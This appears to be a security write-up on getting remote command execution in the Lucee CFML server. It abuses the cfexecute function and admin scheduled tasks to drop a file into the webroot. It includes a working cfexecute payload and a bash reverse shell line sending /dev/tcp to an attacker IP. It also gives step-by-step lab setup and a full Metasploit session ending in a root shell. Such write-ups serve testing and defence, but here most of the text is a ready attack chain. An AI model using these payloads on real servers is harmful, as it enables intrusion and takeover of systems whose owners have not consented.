Lucee is an open-source Cold Fusion Markup Language (CFML) application server and engine intended for rapid development and deployment. It provides a lot of out of the box functionality (tags and functions) to help build web applications. However, if an attacker has access to the Lucee dashboard, these very same functions allow an attacker to execute commands on the backend server.
Successful exploitation of the scheduled tasks is predicated on having access to the web admin dashboard. The password may be acquired through path traversal, a default password, or other means.
Though there are multiple methods for achieving command execution, this method abuses two key features: The
cfexecute function and scheduled tasks.
Lucee’s implementation of ColdFusion allows for server-side code execution to create dynamic pages. More importantly, Lucee allows in-line scripts to execute shell commands through the
cfexecute function. When placed in a
cfscript tag, it’s possible to execute any command as if it were in a PowerShell or Command prompt. For example, placing the following
cfscript tag in a file called
test.cfm and accessing it at the webroot is the equivalent of executing
whoami on the backend
<cfscript> cfexecute(name="/bin/bash", arguments="-c 'whoami'",timeout=5); </cfscript>
Of course, to perform this an attacker would need a way of loading a cfm file into the webroot. That’s where scheduled tasks come in; Lucee allows admins to create scheduled tasks that regularly query the same remote web page. In a legitimate use case, this would allow a user to access pages that publish data without waiting for a database transaction. For our purposes, scheduled tasks have an option to save the queried remote file, functioning as an arbitrary file upload.
With these two features combined, we can create a document that executes a shell command and save it to the servers web root through scheduled jobs. When we access it, our commands are executed.
To set up our test environment, we’ll spin up a new Docker container with Lucee.
git clone https://github.com/isapir/lucee-docker.git cd lucee-docker docker image build . \ -t isapir/lucee-8080 \ --build-arg LUCEE_ADMIN_PASSWORD=admin123 docker container run -p 8080:8080 isapir/lucee-8080
The Lucee admin panel should now be accessible at http://127.0.0.1:8080/lucee/admin/web.cfm
We’ll start by creating a simple bash reverse shell that connects back to our host machine and host it on a Python web server.
└─$ cat exploit.cfm
cfexecute(name="/bin/bash", arguments="-c '/bin/bash -i >& /dev/tcp/10.0.0.7/1337 0>&1'",timeout=5);
└─$ python3 -m http.server --cgi 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
From there, we’ll access the Lucee dashboard and create our scheduled job.
The scheduled job must then be manually updated to enable logging and choose the location to save our file. The web root of the server can be found at the bottom of the Overview page
Returning to the Scheduled Tasks page, execute the job and we’ll receive a request to our HTTP server
Starting a netcat listener and accessing
exploit.cfm at the web root, we receive a reverse shell.
There’s now a Metasploit module available for this! The module works for both Unix and Windows hosts and can execute commands just like above, including reverse shells, while existing modules for Lucee only work on Unix hosts.
msf6 > use exploit/multi/http/lucee_scheduled_job [*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 PASSWORD => admin123 msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf6 exploit(multi/http/lucee_scheduled_job) > set RPORT 8080 RPORT => 8080 msf6 exploit(multi/http/lucee_scheduled_job) > set target 1 target => 1 msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash msf6 exploit(multi/http/lucee_scheduled_job) > set SRVPORT 8081 SRVPORT => 8081 msf6 exploit(multi/http/lucee_scheduled_job) > run [*] Started reverse TCP handler on 192.168.19.145:4444 [+] Authenticated successfully [*] Using URL: http://192.168.19.145:8081/IMcleq0t3XJmV2zT.cfm [+] Job IMcleq0t3XJmV2zT created successfully [+] Job IMcleq0t3XJmV2zT updated successfully [*] Executing scheduled job: IMcleq0t3XJmV2zT [+] Job IMcleq0t3XJmV2zT executed successfully [*] Attempting to access payload... [*] Payload request received for /IMcleq0t3XJmV2zT.cfm?RequestTimeout=50 from 192.168.19.145 [*] Attempting to access payload... [*] Received 500 response from IMcleq0t3XJmV2zT.cfm Check your listener! [+] Exploit completed. [*] Removing scheduled job IMcleq0t3XJmV2zT [+] Scheduled job removed. [+] Deleted /srv/www/app/webroot/IMcleq0t3XJmV2zT.cfm [*] Command shell session 1 opened (192.168.19.145:4444 -> 192.168.19.145:55442) at 2023-03-02 10:31:19 -0600 [*] Server stopped. id uid=0(root) gid=0(root) groups=0(root)